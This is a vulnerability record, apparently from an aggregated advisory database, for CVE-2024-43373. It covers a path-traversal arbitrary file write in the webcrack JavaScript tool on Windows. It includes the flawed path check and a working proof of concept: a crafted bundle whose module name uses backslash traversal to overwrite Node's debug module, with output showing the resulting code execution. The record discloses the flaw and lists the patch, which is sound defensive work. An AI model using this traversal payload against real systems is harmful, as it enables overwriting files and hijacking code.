{"id":"CVE-2024-43373","aliases":["CVE-2024-43373","GHSA-ccqh-278p-xq6w"],"related":[],"kind":"vulnerability","state":"published","title":"webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle","summary":"webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.\n\n### Details\n\nSource: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)\n```ts\nimport { posix } from 'node:path';\nimport type { Module } from './module';\n\n// eslint-disable-next-line @typescript-eslint/unbound-method\nconst { dirname, join, normalize } = posix;\n\n/* ... snip ... */\n\nconst modulePath = normalize(join(path, module.path));\nif (!modulePath.startsWith(path)) {\n    throw new Error(`detected path traversal: ${module.path}`);\n}\nawait mkdir(dirname(modulePath), {\n    recursive: true\n});\nawait writeFile(modulePath, module.code, 'utf8');\n```\n\nIn this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.\n\n### PoC\nThe following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:\n\n**Malicious Script (what.js):**\n\n```js\n(function (e) {\n    var n = {};\n    function o(r) {\n      if (n[r]) {\n        return n[r].exports;\n      }\n      var a = (n[r] = {\n        i: r,\n        l: false,\n        exports: {},\n      });\n      e[r].call(a.exports, a, a.exports, o);\n      a.l = true;\n      return a.exports;\n    }\n    o.p = '';\n    o((o.s = 386));\n  })({\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index': function (e, t, n) {\n        module.exports = () => console.log(\"pwned\")\n    },\n  });\n```\n\n**Webcrack Script (index.js):**\n\n```js\nimport fs from 'fs';\nimport { webcrack } from 'webcrack';\n\nconst input = fs.readFileSync('what.js', 'utf8');\n\nconst result = await webcrack(input);\nconsole.log(result.code);\nconsole.log(result.bundle);\nawait result.save('output-dir');\n```\n\n**Execution:**\nRunning the above script with `node index.js` twice results in the following output being printed to the terminal:\n\n```\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\n(function (e) {\n  var n = {};\n  function o(r) {\n    if (n[r]) {\n      return n[r].exports;\n    }\n    var a = n[r] = {\n      i: r,\n      l: false,\n      exports: {}\n    };\n    e[r].call(a.exports, a, a.exports, o);\n    a.l = true;\n    return a.exports;\n  }\n  o.p = \"\";\n  o(o.s = 386);\n})({\n  \"./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\": function (e, t, n) {\n    module.exports = () => console.log(\"pwned\");\n  }\n});\nWebpackBundle {\n  type: 'webpack',\n  entryId: '386',\n  modules: Map(1) {\n    './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index' => WebpackModule {\n      id: './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index',\n      isEntry: false,\n      path: '././\\\\..\\\\node_modules\\\\debug\\\\src\\\\index.js',\n      ast: [Object]\n    }\n  }\n}\nWaiting for the debugger to disconnect...\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\npwned\npwned\npwned\npwned\npwned\npwned\npwned\nWaiting for the debugger to disconnect...\nfile:///C:/Webcrack/node_modules/webcrack/dist/index.js:444\n  if (options.log) logger(`${name}: started`);\n                   ^\n\nTypeError: logger is not a function\n    at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)\n    at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)\n    at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)\n    at async file:///C:/Webcrack/index.js:6:16\n\nNode.js v18.16.0\n```\n\nThis demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.\n\n### Impact\nThis vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.","format":"markdown","source":"ghsa"},{"lang":"es","text":"webcrack es una herramienta para realizar ingeniería inversa en javascript. Existe una vulnerabilidad de escritura de archivos arbitraria en el módulo webcrack cuando se procesa código malicioso específicamente manipulado en sistemas Windows. Esta vulnerabilidad se activa cuando se utiliza la función de descomprimir paquetes junto con la función de guardar. Si el nombre de un módulo incluye una secuencia de path traversal con separadores de ruta de Windows, un atacante puede aprovechar esto para sobrescribir archivos en el sistema host. Esta vulnerabilidad permite a un atacante escribir archivos `.js` arbitrarios en el sistema host, que pueden aprovecharse para secuestrar módulos Node.js legítimos y obtener la ejecución de código arbitrario. Esta vulnerabilidad ha sido parcheada en la versión 2.14.1.","source":"nvd"}],"published":"2024-08-14T18:01:06.000Z","modified":"2026-06-17T07:50:54.403Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","score":7.7,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-20","CWE-22"],"affected":[{"ranges":[{"version":"<= 2.14.0","status":"affected"}],"vendor":"j4k0xb","product":"webcrack","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","lastAffected":"2.14.0","status":"affected"}],"vendor":"j4k0xb","product":"webcrack","cpe":"cpe:2.3:a:j4k0xb:webcrack:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"2.14.1"}],"ecosystem":"npm","package":"webcrack","purl":"pkg:npm/webcrack","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"2.14.1"}],"vendor":"j4k0xb","product":"webcrack","cpe":"cpe:2.3:a:j4k0xb:webcrack:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/j4k0xb/webcrack/security/advisories/GHSA-ccqh-278p-xq6w","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/j4k0xb/webcrack/commit/4bc5c6f353012ee7edc2cb39d01a728ab7426999","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43373","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/j4k0xb/webcrack","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-08-15T15:53:16.977Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-43373","url":"https://www.cve.org/CVERecord?id=CVE-2024-43373","licence":"CVE Terms of Use","modified":"2024-08-15T15:55:26.684Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ccqh-278p-xq6w","url":"https://github.com/advisories/GHSA-ccqh-278p-xq6w","licence":"CC-BY-4.0","modified":"2024-11-18T16:27:04.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-43373","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43373","licence":"Public domain","modified":"2026-06-17T07:50:54.403Z"}],"updatedAt":"2026-11-25T22:58:44.404Z","epss":{"score":0.00447,"percentile":0.4064,"date":"2026-12-01T12:00:22.000Z"}}